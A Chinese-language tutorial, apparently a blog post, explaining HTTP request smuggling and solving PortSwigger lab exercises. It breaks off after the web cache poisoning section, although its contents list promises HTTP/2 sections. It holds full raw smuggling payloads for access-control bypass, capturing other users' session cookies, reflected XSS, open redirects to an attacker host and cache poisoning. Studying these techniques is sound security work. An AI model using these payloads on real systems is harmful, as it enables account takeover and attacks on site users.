文章目录
- 前言
- Http请求走私
- 1.1 漏洞诞生场景
- 1.2 漏洞基本原理
- 1.3 HTTP1.1与2.0
- 请求走私分类
- 2.1 CL.TE类型实例
- 2.2 TE.CL类型实例
- 2.3 TE.TE混淆实例
- 2.4 漏洞检测工具?
- 请求走私利用
- 3.1 绕过前端安全控制
- 3.2 揭示前端请求重写
- 3.3 捕获他人请求内容
- 3.4 走私构造反射XSS
- 3.5 走私->URL重定向
- 3.6 进行Web缓存投毒
- 3.7 进行Web缓存欺骗
- Http/2请求走私
- 4.1 HTTP/2->请求降级
- 4.2 H2.CL请求降级实例
- 4.3 H2.TE请求走私风险
- 4.4 Response队列中毒
- 4.5 CRLF注入请求走私
- 总结
前言
HTTP 请求走私漏洞多次成为 Blackhat 大会的议题, 比如《US-20-HTTP-Request-Smuggling-In-2020》 、《EU-21-Thatcher-Practical-HTTP-Header-Smuggling》等。虽然国内看到的相关漏洞实例很少(基本都是靶场…),但从 Hackerone 可以看到国外白帽还是挖到不少相关案例且价值不菲的,比如:
https://hackerone.com/reports/2299692
https://hackerone.com/reports/1888760
正如某财经博主常说的一句话“你永远赚不到你认知之外的钱”,渗透测试何尝不是如此?你永远挖不倒你认知之外的漏洞。本文围绕 request-smuggling实验环境,来学习了解下这个“冷门”漏洞的前世今生。
Http请求走私
HTTP 请求走私是 2005 年发现的一种攻击技术,它利用客户端(攻击者)和服务器(包括服务器本身)之间的各种 HTTP 设备之间对非标准 HTTP 请求流的不同解释。它可用于跨 WAF 和安全解决方案走私请求、毒害 HTTP 缓存、向用户注入响应以及劫持用户请求。
HTTP 请求走私是一种干扰网站处理从一个或多个用户接收的 HTTP 请求序列的方式的技术。请求走私漏洞本质上通常很严重,它允许攻击者绕过安全控制,获得对敏感数据的未经授权的访问,并直接危害其他应用程序用户。请求走私主要与 HTTP/1 请求相关,但是支持 HTTP/2 的网站可能容易受到攻击,具体取决于其后端架构。
1.1 漏洞诞生场景
当今的 Web 应用程序为了提升用户的浏览速度,提高使用体验,减轻服务器的负担,很多网站都在源站的前面加上一个具有缓存功能的反向代理服务器,用户在请求某些静态资源时,直接从代理服务器中就可以获取到,不用再从源站所在服务器获取。用户将请求发送到前端服务器(有时称为负载均衡器或反向代理),然后该服务器将请求转发到一台或多台后端服务器。这种类型的架构在现代基于云的应用程序中越来越常见,并且在某些情况下是不可避免的。
当前端服务器将 HTTP 请求转发到后端服务器时,它通常会通过同一后端网络连接发送多个请求,因为这样的效率和性能要高得多。传输协议非常简单: HTTP 请求被一个接一个地发送,接收服务器必须确定一个请求在哪里结束以及下一个请求从哪里开始:
在这种情况下,前端和后端系统就请求之间的边界达成一致至关重要。否则攻击者可能能够发送不明确的请求,前端和后端系统会以不同的方式解释该请求:
在这里,攻击者导致其前端请求的一部分被后端服务器解释为下一个请求的开始。它有效地添加到下一个请求之前,因此可能会干扰应用程序处理该请求的方式。这就是请求走私攻击,可能会造成灾难性的后果。
1.2 漏洞基本原理
大多数 HTTP 请求走私漏洞的出现是因为 HTTP/1 规范提供了两种不同的方式来指定请求的结束位置: Content-Length
标头和Transfer-Encoding
标头。
Content-Length
标头很简单:它指定消息正文的长度(以字节为单位)。例如:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
Transfer-Encoding
标头可用于指定消息正文使用分块编码。这意味着消息正文包含一个或多个数据块。每个块由块大小(以字节为单位)(以十六进制表示)组成,后跟换行符,然后是块内容。消息以大小为零的块终止。例如:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
由于 HTTP/1 规范提供了上述两种不同的方法来指定 HTTP 消息的长度,因此单个消息有可能同时使用这两种方法,从而导致它们相互冲突。HTTP/1 规范试图通过规定如果 Content-Length 和 Transfer-Encoding 标头都存在,则应忽略 Content-Length 标头来防止此问题。当只有一个服务器在运行时,这可能足以避免歧义,但当两个或多个服务器链接在一起时,就无法避免歧义了。在这种情况下,出现问题的原因有两个:
- 某些服务器不支持请求中的 Transfer-Encoding 标头;
- 如果标头以某种方式被混淆,一些支持 Transfer-Encoding 标头的服务器可能会被诱导不处理它。
如果前端和后端服务器对于接收到的 http 请求 Transfer-Encoding 标头(可能是混淆的)的处理方式不同,那么它们可能对连续请求之间的边界存在分歧,从而导致请求走私漏洞。
使用 HTTP/2 端到端的网站本质上不会受到请求走私攻击。由于 HTTP/2 规范引入了一个单一、强大的机制来指定请求的长度,因此攻击者无法引入所需的歧义。然而许多网站都有一个支持 HTTP/2 的前端服务器,但却将其部署在仅支持 HTTP/1 的后端基础设施前面。这意味着前端必须有效地将其接收到的请求转换为 HTTP/1,此过程称为** HTTP 降级**。有关更多信息,请参阅高级请求走私。
1.3 HTTP1.1与2.0
由于 HTTP 请求走私与 HTTP 协议特性强相关,为了更好地理解 HTTP 请求走私漏洞,此处先补充学习下 HTTP 1.1 协议与 HTTP 2.0 协议的异同。
HTTP/1.1 时代
HTTP/1.1 是当今使用得最多的 HTTP 协议,它对 HTTP/1.0 做了许多优化:
- 【分块传输编码】以支持流式响应;
- 【keep-alive 持久化连接】支持连接重用:在 HTTP/1.0 时代,每一个请求都会重新建立一个 TCP 连接,一旦响应返回就关闭连接。 而建立一个连接则需要进行三次握手,这极大的浪费了性能。因此 HTTP/1.1 新增了持久化连接功能,当浏览器建立一个 TCP 连接时,多个请求都会使用这条连接(现如今大多数浏览器默认都是开启的)。
- 【PipeLining 管道】支持并行请求处理:持久连接解决了连接复用问题,但还是存在着一个问题:在一个 TCP 连接中,同一时间只能够发送一个请求,并且需要等响应完成才能够发送第二个请求。因此 HTTP/1.1 制订了 PipeLining 管道,通过这个管道,浏览器的多个请求可以同时发到服务器,但是服务器的响应只能够一个接着一个的返回。因为每一条连接同时只能够返回一个响应,因此浏览器为了改善这种情况,会同时开启 4~8个 TCP 连接进行发送请求。
HTTP/2.0 时代
2015年5月, HTTP/2.0 在万众瞩目下以 RFC 7540 正式发表。HTTP/2.0 时代拥有了「多路复用」功能,意思是:在一条连接上,我可以同时发起无数个请求,并且响应可以同时返回。
在过去, HTTP 性能优化的关键并不在于高带宽,而是低延迟。TCP 连接会随着时间进行自我调节,起初会限制连接的最大速度,如果数据成功传输,会随着时间的推移提高传输的速度,这种调节则被称为 TCP 慢启动。由于这种原因,让原本就具有突发性和短时性的 HTTP 连接变的十分低效。HTTP/2.0 通过让所有数据流共用同一个连接,可以更有效地使用 TCP 连接,让高带宽也能真正的服务于 HTTP 的性能提升。这种单连接多资源的方式,减少服务端的连接压力,内存占用更少,连接吞吐量更大。而且由于 TCP 连接的减少而使网络拥塞状况得以改善,同时慢启动时间的减少,使拥塞和丢包恢复速度更快。
HTTP 2.0 的其它几个核心特性:
- 【二进制分帧 】 在应用层与传输层之间增加一个二进制分帧层,以此达到“在不改动HTTP的语义,HTTP 方法、状态码、URI及首部字段的情况下,突破HTTP1.1的性能限制,改进传输性能,实现低延迟和高吞吐量”。在二进制分帧层上,HTTP2.0 会将所有传输的信息分割为更小的消息和帧,并对它们采用二进制格式的编码,其中 HTTP1.x 的首部信息会被封装到 Headers 帧,而我们的 request body 则封装到 Data 帧里面
- 【压缩头部】HTTP/2.0 规定了在客户端和服务器端会使用并且维护「首部表」来跟踪和存储之前发送的键值对,对于相同的头部,不必再通过请求发送,只需发送一次。事实上,如果请求中不包含首部(例如对同一资源的轮询请求),那么首部开销就是零字节。此时所有首部都自动使用之前请求发送的首部。如果首部发生变化了,那么只需要发送变化了数据在 Headers 帧里面,新增或修改的首部帧会被追加到“首部表”。首部表在 HTTP2.0 的连接存续期内始终存在,由客户端和服务器共同渐进地更新
- 【请求无序】客户端可以把 HTTP2.0 消息分解为互不依赖的帧,然后可以乱序发送,最后再在服务端把它们根据帧首部的流标识可以重新组装,这一特性使性能有了很大的提升。
小结下 HTTP/1.x keep-alive 与 HTTP/2 多路复用 特性的区别:
- HTTP/1.x 是基于文本的,只能整体去传,而 HTTP/2 是基于二进制流的,可以分解为独立的帧,交错发送;
- HTTP/1.x keep-alive 必须按照请求发送的顺序返回响应,而 HTTP/2 多路复用不按序响应;
- HTTP/1.x keep-alive 为了解决队头阻塞,将同一个页面的资源分散到不同域名下,开启了多个 TCP 连接,而 HTTP/2 同域名下所有通信都在单个连接上完成;
- HTTP/1.x keep-alive 单个 TCP 连接在同一时刻只能处理一个请求(两个请求的生命周期不能重叠),HTTP/2 单个 TCP 同一时刻可以发送多个请求和响应。
请求走私分类
经典的请求走私攻击涉及将 Content-Length 标头和 Transfer-Encoding 标头放入单个 HTTP/1 请求中并对其进行操作,以便前端和后端服务器处理该请求不同。完成此操作的确切方式取决于两个服务器的行为:
- CL.TE:前端服务器使用 Content-Length 标头,后端服务器使用 Transfer-Encoding 标头。
- TE.CL:前端服务器使用 Transfer-Encoding 标头,后端服务器使用 Content-Length 标头。
- TE.TE:前端和后端服务器都支持 Transfer-Encoding 标头,但可以通过某种方式混淆标头来诱导其中一台服务器不处理它。
这些技术只能通过 HTTP/1 请求实现。浏览器和其他客户端(包括 Burp)默认使用 HTTP/2 与在 TLS 握手期间明确宣传对其支持的服务器进行通信。因此,在测试支持 HTTP/2 的站点时,需要在 Burp Repeater 中手动切换协议,可以从 Inspector 面板的请求属性部分执行此操作。
2.1 CL.TE类型实例
这里,前端服务器使用 Content-Length 标头,后端服务器使用 Transfer-Encoding 标头。我们可以执行简单的 HTTP 请求走私攻击,如下所示:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
- 前端服务器处理 Content-Length header 并确定请求正文长度为 13 个字节,直到 SMUGGLED 末尾。该请求被转发到后端服务器。
- 后端服务器处理 Transfer-Encoding 标头,因此将消息正文视为使用分块编码。它处理第一个块,该块被声明为零长度,因此被视为终止请求。以下字节 SMUGGLED 未处理,后端服务器会将这些字节视为序列中下一个请求的开始。
实验地址:lab-basic-cl-te,题目要求很简单,通过请求走私让下一个报文的请求方法由 POST 变成 “GPOST” 即可:
尽管此实验支持 HTTP/2,但预期的解决方案需要仅在 HTTP/1 中可用的技术。您可以从检查器面板的请求属性部分手动切换 Burp Repeater 中的协议。
连续发送两次如下报文即可通关:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
返回站点发现已经 solved:
2.2 TE.CL类型实例
前端服务器使用 Transfer-Encoding 标头,后端服务器使用 Content-Length 标头。我们可以执行简单的 HTTP 请求走私攻击,如下所示:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
【注意】要使用 Burp Repeater 发送此请求,首先需要进入 Repeater 菜单并确保未选中“Update Content-Length”选项。需要在最后的 0 之后包含尾随序列 \r\n\r\n。
请求走私过程解析:
- 前端服务器处理 Transfer-Encoding 标头,因此将消息正文视为使用分块编码。它处理第一个块,该块的长度为 8 个字节,直到 SMUGGLED 后面的行的开头。它处理第二个块,该块被声明为零长度,因此被视为终止请求。该请求被转发到后端服务器。
- 后端服务器处理 Content-Length 标头并确定请求正文的长度为 3 个字节,直到 8 后面的行的开头。以 SMUGGLED 开头的以下字节未处理,后端服务器会将这些字节视为序列中下一个请求的开始。
实验地址:lab-basic-te-cl,题目要求依旧是通过请求走私让下一个报文的请求方法由 POST 变成 “GPOST” 即可。只需要连续发送两次如下报文即可:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
【注意】要使用 Burp Repeater 发送此请求,首先需要进入 Repeater 菜单并确保未选中“Update Content-Length”选项。需要在最后的 0 之后包含尾随序列 \r\n\r\n。
2.3 TE.TE混淆实例
前端和后端服务器都支持 Transfer-Encoding 标头,但是可以通过某种方式混淆标头来诱导其中一台服务器不处理它。混淆 Transfer-Encoding 标头的方法可能有无数种。例如:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
这些技术中的每一种都与 HTTP 规范存在微妙的偏差。实现协议规范的现实代码很少能够绝对精确地遵守它,并且不同的实现通常会容忍与规范的不同变化。要发现 TE.TE 漏洞,需要找到 Transfer-Encoding 标头的某些变体,以便只有前端或后端服务器之一处理它,而另一台服务器忽略它。
实验地址:题目要求依旧是通过请求走私让下一个报文的请求方法由 POST 变成 “GPOST” 即可。同样使用 Brup 发送两次如下报文即可:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
【注意】要使用 Burp Repeater 发送此请求,首先需要进入 Repeater 菜单并确保未选中“Update Content-Length”选项。需要在最后的 0 之后包含尾随序列 \r\n\r\n。
请求走私的流程简析:
- 前端:服务器正常解析了异常的 Transfer-Encoding 请求头,读取到
0\r\n\r\n
,认为请求完整,传给后端; - 后端:由于构造了 Transfer-Encoding 请求头大小写混淆,后端服务器无法解析,会直接取
Content-Length: 4
来当作请求报文的结束标识,因此读取到5c\r\n
截止,后边的内容会带到下次请求。
2.4 漏洞检测工具?
目前主要存在两款 HTTP 请求走私漏洞检测工具:smuggler、http-request-smuggler,分别是 Python 脚本和 BurpSuite 官方插件,下面以前面的 CL.TE 漏洞环境(lab-basic-cl-te)演示下工具的使用。
【工具 1:http-request-smuggler】
直接通过 BurpSuite 的插件商场下载并安装即可:
在 Repeater 模块待检测的报文请求中,右键选中插件的 “Launch all scans” 即可,插件会发送大量的漏洞探测 Payload 来检测可能存在的所有漏洞场景,等待一会,随后 Dashboard 可以看看到扫描结果:
可以发现插件也是基于 Response 的值、响应时间判断是否存在漏洞:
【工具 2:smuggler】
工具用法很简单(-h 查看全部可用参数即可):
python smuggler.py -u https://XXX.web-security-academy.net/ -x
可以看到成功检测出来存在 CLTE 类型的请求走私漏洞,工具自动保存了对应的 Payload 到本地,查看下:
请求走私利用
介绍完 HTTP 请求走私原理和基本分类,下面开始看看它到底能用于什么类型的攻击场景并造成什么具体的危害。此章节的实践环境为:request-smuggling/exploiting。
3.1 绕过前端安全控制
在企业的 Web 应用部署架构之中,前端 Web 服务器除了 Redis 这类缓存服务器外,还有网关服务器这类经常被用于实现一些安全控制的服务器,前置网关服务器经常用于会外网发送的请求进行统一鉴权、路由分发等。
假设应用程序使用前端服务器来实现访问控制限制,仅当用户被授权访问所请求的 URL 时才转发请求。然后后端服务器会接受每个请求,而无需进一步检查。在这种情况下,可以利用 HTTP 请求走私漏洞,通过将请求走私到受限制的 URL 来绕过访问控制。
假设当前用户被允许访问 /home 但不允许访问 /admin 。他们可以使用以下请求走私攻击绕过此限制:
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
这是一个 CL.TE 场景:
- 前端服务器在这里看到两个请求,都是针对 /home 的,因此请求被转发到后端服务器;
- 但是后端服务器看到一个对 /home 的请求和一个对 /admin 的请求,它认为请求已通过前端控件,因此授予对受限制 URL 的访问权限。
实验地址:lab-bypass-front-end-controls-cl-te。
1)实验地址是个博客站点,模拟了内网管理系统禁止外网访问的业务场景,/admin 路径被禁止访问:
2)根据提示是个 CL.TE 请求走私类型的环境,在 Repeater 发送两次如下请求(注意将报文修改为 HTTP/1.1):
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-Ignore: X
但是发现后端服务器提示 /admin 管理台只允许本地用户访问:
3)修改上述报文,添加请求头Host: localhost
绕过后端服务器限制,但观察到该请求由于第二个请求的 Host 标头与第一个请求中走私的 Host 标头冲突而被阻止???
4)发出以下请求两次,以便将第二个请求的标头附加到走私的请求正文中??(这里我也不理解,题目官方 Writeup 这么解释的……)
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
此时便能正常看到管理台了:
【补充】如何计算调整的 Payload 的 Content-Length?使用 Burp 自带功能或 Notepad++ 即可:
5)为了完成实验,继续发送两次请求,删除账户 carlos:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
3.2 揭示前端请求重写
在许多应用程序中,前端服务器在将请求转发到后端服务器之前对请求进行一些重写,通常是通过添加一些额外的请求标头。例如,前端服务器可能:
- 终止 TLS 连接并添加一些描述所使用的协议和密码的标头;
- 添加包含用户 IP 地址的 X-Forwarded-For 标头;
- 根据会话令牌确定用户的 ID,并添加标识用户的标头;
- 或者添加一些其他攻击者可能感兴趣的敏感信息,比如访问后端服务器的 SecretKey、AccessToken;
在某些情况下,如果您的走私请求缺少一些通常由前端服务器添加的标头,则后端服务器可能无法以正常方式处理请求,从而导致走私请求无法达到预期效果。通常有一种简单的方法可以准确揭示前端服务器如何重写请求。为此,您需要执行以下步骤:
- 查找将请求参数的值反映到应用程序响应中的 POST 请求。
- 随机排列参数,以便反映的参数出现在消息正文的最后。
- 将此请求偷偷发送到后端服务器,然后直接发送一个您想要显示其重写形式的普通请求。
假设应用程序有一个反映 email 参数值的登录函数:
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
email=wiener@normal-user.net
这会产生包含以下内容的响应:
<input id="email" value="wiener@normal-user.net" type="text">
在这里,您可以使用以下请求走私攻击来揭示前端服务器执行的重写:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
前端服务器将重写请求以包含附加标头,然后后端服务器将处理走私的请求并将重写的第二个请求视为 email 参数的值。然后它将在对第二个请求的响应中反映该值:
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
由于最终的请求正在被重写,所以你不知道它会持续多久。走私请求中 Content-Length 标头中的值将确定后端服务器认为该请求的长度。如果你把这个值设置得太短,你将只收到重写请求的一部分;如果设置太长,后端服务器将超时等待请求完成。当然,解决方案是猜测一个比提交的请求大一点的初始值,然后逐渐增加该值以检索更多信息,直到获得所有感兴趣的信息。
实验地址:lab-reveal-front-end-request-rewriting,要求如下:
1) 此次站点增加了一个搜索功能,同时响应报文包含了 search 参数的值:
2)提交两次如下报文,观察相应包新增的前端服务器重新字段:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close
search=test
3)记下重写请求中 X-*-IP 标头的名称(X-rrVGed-Ip),并使用它来访问管理面板:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-rrVGed-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
x=1
4)参考之前的响应,更改走私的请求URL以删除用户 carlos :
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
X-rrVGed-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
x=1
3.3 捕获他人请求内容
如果应用程序包含允许您存储并稍后检索文本数据的任何类型的功能,则您可以使用它来捕获其他用户请求的内容。这些可能包括会话令牌或用户提交的其他敏感数据。适合用作此攻击工具的功能是评论、电子邮件、个人资料描述、屏幕名称等。
要执行攻击,您需要走私一个将数据提交到存储函数的请求,其中包含要存储的数据的参数位于请求的最后。例如,假设应用程序使用以下请求来提交博客文章评论,该评论将被存储并显示在博客上:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
现在考虑一下,如果您偷运一个具有过长 Content-Length 标头且 comment 参数位于请求末尾的等效请求,会发生什么情况,如下所示:
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 330
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
走私请求的 Content-Length 标头表明正文的长度为 400 字节,但我们只发送了 144 字节。在这种情况下,后端服务器将在发出响应之前等待剩余的 256 字节,或者如果响应速度不够快,则发出超时。因此,当通过同一连接向后端服务器发送另一个请求时,前 256 个字节将有效地附加到走私的请求中,如下所示:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...
由于受害者请求的开头包含在 comment 参数中,因此这将作为评论发布在博客上,使您只需访问相关帖子即可阅读它。
要捕获更多受害者的请求,只需相应增加走私请求的 Content-Length 标头的值即可,但请注意,这将涉及一定的尝试和错误。如果您遇到超时,这可能意味着您指定的 Content-Length 高于受害者请求的实际长度。在这种情况下,只需减小该值,直到攻击再次起作用。
该技术的一个限制是,它通常只会捕获适用于走私请求的参数定界符之前的数据。对于 URL 编码的表单提交,这将是 & 字符,这意味着从受害者用户的请求中存储的内容将在第一个 & 处结束,甚至可能出现在查询字符串。
实验地址:lab-capture-other-users-requests,题目要求如下:
1)访问实验站点并给博客添加评论:
2)将 comment-post 请求发送到 Burp Repeater,随机调整正文参数,使 comment 参数最后出现,并确保它仍然有效:
3)将 comment-post 请求的 Content-Length 增加到 400,然后将其走私到后端服务器,注意修改 your-session-token、 your-csrf-token,同时修改最终的 Content-Length:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=your-session-token
csrf=your-csrf-token&postId=5&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test
4)查看博客文章以查看是否有包含用户请求的评论。请注意,目标用户只会间歇性地浏览网站,因此您可能需要重复此攻击几次才能成功。
最后从评论中复制用户的 Cookie 标头,并使用它来访问他们的帐户。
3.4 走私构造反射XSS
如果应用程序容易受到 HTTP 请求走私的攻击,并且还包含反射型 XSS,则您可以使用请求走私攻击来攻击该应用程序的其他用户。这种方法在以下两个方面优于反射型 XSS 的正常利用:
- 它不需要与受害者用户进行交互。您不需要向他们提供 URL 并等待他们访问它。您只需走私一个包含 XSS 有效负载的请求,后端服务器处理的下一个用户请求就会被命中。
- 它可用于利用正常反射 XSS 攻击中无法轻松控制的请求部分中的 XSS 行为,例如 HTTP 请求标头。
例如,假设应用程序的 User-Agent 标头中存在反射型 XSS 漏洞。您可以在请求走私攻击中利用此漏洞,如下所示:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
这也是一个 CL.TE 类型的请求走私 Payload,下一个用户的请求将附加到走私的请求中,并且他们将在响应中收到反映的 XSS 负载。
实验地址:lab-deliver-reflected-xss,题目要求:
也是存在博客点评功能,但是发现评论请求体存在一个隐藏的 User-Agent 参数:
检查博客详情的网页源代码,可以看到前端预置了一个 userAgent 请求参数到 Post 请求体:
假设 userAgent 来源于访问博文时候的 User-Agent 参数,那我修改一下 User-Agent 就能触发 XSS?验证一下猜想,抓包并修改:
既然如此,那么我们将以下携带 XSS Payload 的请求走私到后端服务器,下一个访问者此博客的用户将自动中招,因为他的 User-Agent 被修改为 XSS Payload 且被浏览器当作前端 html 元素进行了渲染:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
再次访问此篇博客:
一句话小结:说白了攻击场景就是借助请求走私漏洞控制受害者下一次访问指定站点的 HTTP 请求头,而此 HTTP 请求头又作为 html 元素被浏览器渲染,最终导致受害者在未点击任何攻击链接的场景下也受到反射型 XSS 漏洞影响。
3.5 走私->URL重定向
许多应用程序执行从一个 URL 到另一个 URL 的现场重定向,并将请求的 Host 标头中的主机名放入重定向 URL 中。 Apache 和 IIS Web 服务器的默认行为就是一个示例,其中对不带尾部斜杠的文件夹的请求会收到指向包含尾部斜杠的同一文件夹的重定向:
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
此行为通常被认为是无害的,但可以在请求走私攻击中利用它来将其他用户重定向到外部域。例如:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
走私的请求将触发到攻击者网站的重定向,这将影响后端服务器处理的下一个用户请求。例如:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
在这里,用户的请求是通过网站上的页面导入的 JavaScript 文件。攻击者可以通过在响应中返回自己的 JavaScript 来完全危害受害用户。
3.6 进行Web缓存投毒
在上述攻击的变体中,可能会利用 HTTP 请求走私来执行 Web 缓存中毒攻击。如果前端基础设施的任何部分执行内容缓存(通常出于性能原因),则可能会通过站外重定向响应来毒害缓存。这将使攻击持续存在,影响随后请求受影响 URL 的任何用户。
在此变体中,攻击者将以下所有内容发送到前端服务器:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com
走私的请求到达后端服务器,后端服务器像以前一样通过站外重定向进行响应。前端服务器根据它认为是第二个请求中的 URL(即 /static/include.js )缓存此响应:
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
从此时起,当其他用户请求此 URL 时,他们会收到到攻击者网站的重定向。
实验地址:lab-perform-web-cache-poisoning,题目要求:
1)同样是个博客站点,点击下一篇,发现存在 302 重定向:
2) 然后尝试使用不同的主机标头走私生成的请求,可以使用此请求将对该网站的下一个请求重定向到攻击者指定的主机上的 /post:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
3)先到实验环境提供的漏洞利用服务器上构造恶意缓存路径:
构建 /post 路由,创建一个 text/javascript 文件,其中包含以下内容并保存:
alert(document.cookie)
4)首先使用漏洞利用服务器的主机名重新启动先前的攻击,从而毒害服务器缓存,如下所示:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 193
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
5)然后通过发送以下请求来获取 /resources/js/tracking.js :
GET /resources/js/tracking.js HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Connection: close
攻击成功,对 tracking.js 请求的响应应该重定向到攻击者的漏洞利用服务器:
